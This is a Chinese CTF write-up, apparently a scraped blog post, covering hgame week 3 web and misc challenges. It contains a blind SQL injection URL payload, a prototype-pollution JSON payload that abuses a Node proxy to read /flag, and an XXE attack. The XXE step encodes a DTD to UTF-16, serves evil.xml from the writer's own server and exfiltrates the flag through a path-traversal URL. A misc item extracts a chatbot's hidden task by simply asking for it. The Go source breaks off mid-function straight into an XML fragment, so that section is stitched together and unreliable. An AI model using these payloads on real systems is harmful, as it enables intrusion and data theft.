• hgame week3 WEB和MISC全wp

    MISC

    与ai聊天

    问它你原本的任务是啥？

    vmdk取证

    开局拿到一个vmdk文件，要找密码，用7z打开到如下位置

    然后取出system和SAM用于提取哈希，丢到mimikatz中去看看ntlm:

    最后上cmd5来解密

    简单的取证,不过前十个有红包

    在上一题的桌面上有个图片

    https://nc0.cdn.zkaq.cn/md/19233/ef9c4877e5c3bb22e15ace437941e67c_11129.jpg

    然后使用VeraCrypt解密就出了

    Blind Sql Injection

    https://nc0.cdn.zkaq.cn/md/19233/05c13be98d90350094be60b8fde6c0d1_69671.png

    看报文报错盲注,flag就是密码：

    核心代码

    /search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),44,1))%3E63)

    如果说上面这串表达式为真，那么id=0，这就会触发报错。

    反之如果表达式不同意则会正常显示内容。

    于是就可以挨个推断出flag字符串的每一个ascii值，最后转成字符后反转就出了。

    PS:不要用gpt做任何数学相关的题目，可以使用赛博厨子，被坑惨了

    WEB

    开局源码如下：

    1. const express = require("express");
    2. const axios = require("axios");
    3. const bodyParser = require("body-parser");
    4. const path = require("path");
    5. const fs = require("fs");
    6. const { v4: uuidv4 } = require("uuid");
    7. const session = require("express-session");
    8.  
    9. const app = express();
    10. const port = 3000;
    11. const session_name = "my-webvpn-session-id-" + uuidv4().toString();
    12.  
    13. app.set("view engine", "pug");
    14. app.set("trust proxy", false);
    15. app.use(express.static(path.join(__dirname, "public")));
    16. app.use(
    17.   session({
    18.     name: session_name,
    19.     secret: uuidv4().toString(),
    20.     secure: false,
    21.     resave: false,
    22.     saveUninitialized: true,
    23.   })
    24. );
    25. app.use(bodyParser.json());
    26. var userStorage = {
    27.   username: {
    28.     password: "password",
    29.     info: {
    30.       age: 18,
    31.     },
    32.     strategy: {
    33.       "baidu.com": true,
    34.       "google.com": false,
    35.     },
    36.   },
    37. };
    38.  
    39. function update(dst, src) {
    40.   for (key in src) {
    41.     if (key.indexOf("__") != -1) {
    42.       continue;
    43.     }
    44.     if (typeof src[key] == "object" && dst[key] !== undefined) {
    45.       update(dst[key], src[key]);
    46.       continue;
    47.     }
    48.     dst[key] = src[key];
    49.   }
    50. }
    51. app.use("/proxy", async (req, res) => {
    52.   const { username } = req.session;
    53.   if (!username) {
    54.     res.sendStatus(403);
    55.   }
    56.   let url = (() => {
    57.     try {
    58.       return new URL(req.query.url);
    59.     } catch {
    60.       res.status(400);
    61.       res.end("invalid url.");
    62.       return undefined;
    63.     }
    64.   })();
    65.  
    66.   if (!url) return;
    67.  
    68.   if (!userStorage[username].strategy[url.hostname]) {
    69.     res.status(400);
    70.     res.end("your url is not allowed.");
    71.   }
    72.   try {
    73.     const headers = req.headers;
    74.     headers.host = url.host;
    75.     headers.cookie = headers.cookie.split(";").forEach((cookie) => {
    76.       var filtered_cookie = "";
    77.       const [key, value] = cookie.split("=", 1);
    78.       if (key.trim() !== session_name) {
    79.         filtered_cookie += `${key}=${value};`;
    80.       }
    81.       return filtered_cookie;
    82.     });
    83.     const remote_res = await (() => {
    84.       if (req.method == "POST") {
    85.         return axios.post(url, req.body, {
    86.           headers: headers,
    87.         });
    88.       } else if (req.method == "GET") {
    89.         return axios.get(url, {
    90.           headers: headers,
    91.         });
    92.       } else {
    93.         res.status(405);
    94.         res.end("method not allowed.");
    95.         return;
    96.       }
    97.     })();
    98.     res.status(remote_res.status);
    99.     res.header(remote_res.headers);
    100.     res.write(remote_res.data);
    101.   } catch (e) {
    102.     res.status(500);
    103.     res.end("unreachable url.");
    104.   }
    105. });
    106.  
    107. app.post("/user/login", (req, res) => {
    108.   const { username, password } = req.body;
    109.   if (
    110.     typeof username != "string" ||
    111.     typeof password != "string" ||
    112.     !username ||
    113.     !password
    114.   ) {
    115.     res.status(400);
    116.     res.end("invalid username or password");
    117.     return;
    118.   }
    119.   if (!userStorage[username]) {
    120.     res.status(403);
    121.     res.end("invalid username or password");
    122.     return;
    123.   }
    124.   if (userStorage[username].password !== password) {
    125.     res.status(403);
    126.     res.end("invalid username or password");
    127.     return;
    128.   }
    129.   req.session.username = username;
    130.   res.send("login success");
    131. });
    132.  
    133. // under development
    134. app.post("/user/info", (req, res) => {
    135.   if (!req.session.username) {
    136.     res.sendStatus(403);
    137.   }
    138.   update(userStorage[req.session.username].info, req.body);
    139.   res.sendStatus(200);
    140. });
    141.  
    142. app.get("/home", (req, res) => {
    143.   if (!req.session.username) {
    144.     res.sendStatus(403);
    145.     return;
    146.   }
    147.   res.render("home", {
    148.     username: req.session.username,
    149.     strategy: ((list)=>{
    150.       var result = [];
    151.       for (var key in list) {
    152.         result.push({host: key, allow: list[key]});
    153.       }
    154.       return result;
    155.     })(userStorage[req.session.username].strategy),
    156.   });
    157. });
    158.  
    159. // demo service behind webvpn
    160. app.get("/flag", (req, res) => {
    161.   if (
    162.     req.headers.host != "127.0.0.1:3000" ||
    163.     req.hostname != "127.0.0.1" ||
    164.     req.ip != "127.0.0.1" 
    165.   ) {
    166.     res.sendStatus(400);
    167.     return;
    168.   }
    169.   const data = fs.readFileSync("/flag");
    170.   res.send(data);
    171. });
    172.  
    173. app.listen(port, '0.0.0.0', () => {
    174.   console.log(`app listen on ${port}`);
    175. });

    发现这里的update函数可能存在原型链污染（赋值）,但是这里过滤了__

    1. function update(dst, src) {
    2.   for (key in src) {
    3.     if (key.indexOf("__") != -1) {
    4.       continue;
    5.     }
    6.     if (typeof src[key] == "object" && dst[key] !== undefined) {
    7.       update(dst[key], src[key]);
    8.       continue;
    9.     }
    10.     dst[key] = src[key];
    11.   }
    12. }
    13. //...
    14. app.post("/user/info", (req, res) => {
    15.   if (!req.session.username) {
    16.     res.sendStatus(403);
    17.   }
    18.   update(userStorage[req.session.username].info, req.body);
    19.   res.sendStatus(200);
    20. });

    不能用__proto__也可以用prototype构造payload

    再看过滤规则：

    1. if (!userStorage[username].strategy[url.hostname]) {
    2.     res.status(400);
    3.     res.end("your url is not allowed.");
    4.   }
    5. //...
    6. app.get("/flag", (req, res) => {
    7.   if (
    8.     req.headers.host != "127.0.0.1:3000" ||
    9.     req.hostname != "127.0.0.1" ||
    10.     req.ip != "127.0.0.1" 
    11.   ) {
    12.     res.sendStatus(400);
    13.     return;
    14.   }
    15.   const data = fs.readFileSync("/flag");
    16.   res.send(data);
    17. });

    结合/proxy部分的代码，就是要利用自己来访问127.0.0.1:3000/flag，这就需要污染userStorage[username].strategy,浅浅构造一个payload

    {"constructor":{"prototype":{"strategy":{"127.0.0.1:3000/flag":"true"}}}}

    https://nc0.cdn.zkaq.cn/md/19233/f341d91d0748fffddec99b308d222b49_84910.png

    https://nc0.cdn.zkaq.cn/md/19233/2fe896f19695256db682e9fced9c601e_36751.png

    改改：

    {"constructor":{"prototype":{"127.0.0.1":{"127.0.0.1:3000/flag":"true"}}}}

    如果直接点击链接的话就会访问

    /proxy?url=http://127.0.0.1

    回显unreachable

    要手动补齐/proxy?url=http://127.0.0.1:3000/flag

    就能正常访问了

    Zero Link

    一道值得细细评鉴的go史

    先看route.go

    1. package routes
    2.  
    3. import (
    4.     "fmt"
    5.     "html/template"
    6.     "net/http"
    7.     "os"
    8.     "os/signal"
    9.     "path/filepath"
    10.     "zero-link/internal/config"
    11.     "zero-link/internal/controller/auth"
    12.     "zero-link/internal/controller/file"
    13.     "zero-link/internal/controller/ping"
    14.     "zero-link/internal/controller/user"
    15.     "zero-link/internal/middleware"
    16.     "zero-link/internal/views"
    17.  
    18.     "github.com/gin-contrib/sessions"
    19.     "github.com/gin-contrib/sessions/cookie"
    20.     "github.com/gin-gonic/gin"
    21. )
    22.  
    23. func Run() {
    24.     r := gin.Default()
    25.  
    26.     html := template.Must(template.New("").ParseFS(views.FS, "*"))
    27.     r.SetHTMLTemplate(html)
    28.  
    29.     secret := config.Secret.SessionSecret
    30.     store := cookie.NewStore([]byte(secret))
    31.     r.Use(sessions.Sessions("session", store))
    32.  
    33.     api := r.Group("/api")
    34.     {
    35.         api.GET("/ping", ping.Ping)
    36.         api.POST("/user", user.GetUserInfo)
    37.         api.POST("/login", auth.AdminLogin)
    38.  
    39.         apiAuth := api.Group("")
    40.         apiAuth.Use(middleware.Auth())
    41.         {
    42.             apiAuth.POST("/upload", file.UploadFile)
    43.             apiAuth.GET("/unzip", file.UnzipPackage)
    44.             apiAuth.GET("/secret", file.ReadSecretFile)
    45.         }
    46.     }
    47.     frontend := r.Group("/")
    48.     {
    49.         frontend.GET("/", func(c *gin.Context) {
    50.             c.HTML(http.StatusOK, "index.html", nil)
    51.         })
    52.         frontend.GET("/login", func(c *gin.Context) {
    53.             c.HTML(http.StatusOK, "login.html", nil)
    54.         })
    55.  
    56.         frontendAuth := frontend.Group("")
    57.         frontendAuth.Use(middleware.Auth())
    58.         {
    59.             frontendAuth.GET("/manager", func(c *gin.Context) {
    60.                 c.HTML(http.StatusOK, "manager.html", nil)
    61.             })
    62.         }
    63.     }
    64.     quit := make(chan os.Signal)
    65.     signal.Notify(quit, os.Interrupt)
    66.  
    67.     go func() {
    68. %dtd; %all; 
    69. ]> 
    70. &send;

    转utf-16

    cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

    准备evil.xml

    all "">

    然后开启http服务发evil.xml

    python -m http.sever 80

    传http://139.224.232.162:30148/backdoor?fname=../../8.134.221.106/utf16exploit

    就可以收到flag了

     声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

    免费领取安全学习资料包！


    渗透工具

    技术文档、书籍

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等

    应急响应笔记

    学习路线

  • 相关阅读:
    Android JVM学习（扎实基础版）
    基于RT-Thread的智能家居助手
    JavaEE初阶学习:Linux 基本使用和 web 程序部署
    orangepi zero2在linux5.4以上内核使用ili9341
    集成环境下 phpmyadmin 显示找不到localhost网页
    存储过程基本了解
    R语言ggplot2可视化斜率图、对比同一数据对象前后（before、after）两个状态的差异（Slope Chart）
    Java-访问权限修饰符（public、protected、private）
    【面试题精讲】Java语言概念
    Redisson - 实现Java的Redis分布式和可扩展解决方案
  • 原文地址：https://blog.csdn.net/2301_80115097/article/details/139833519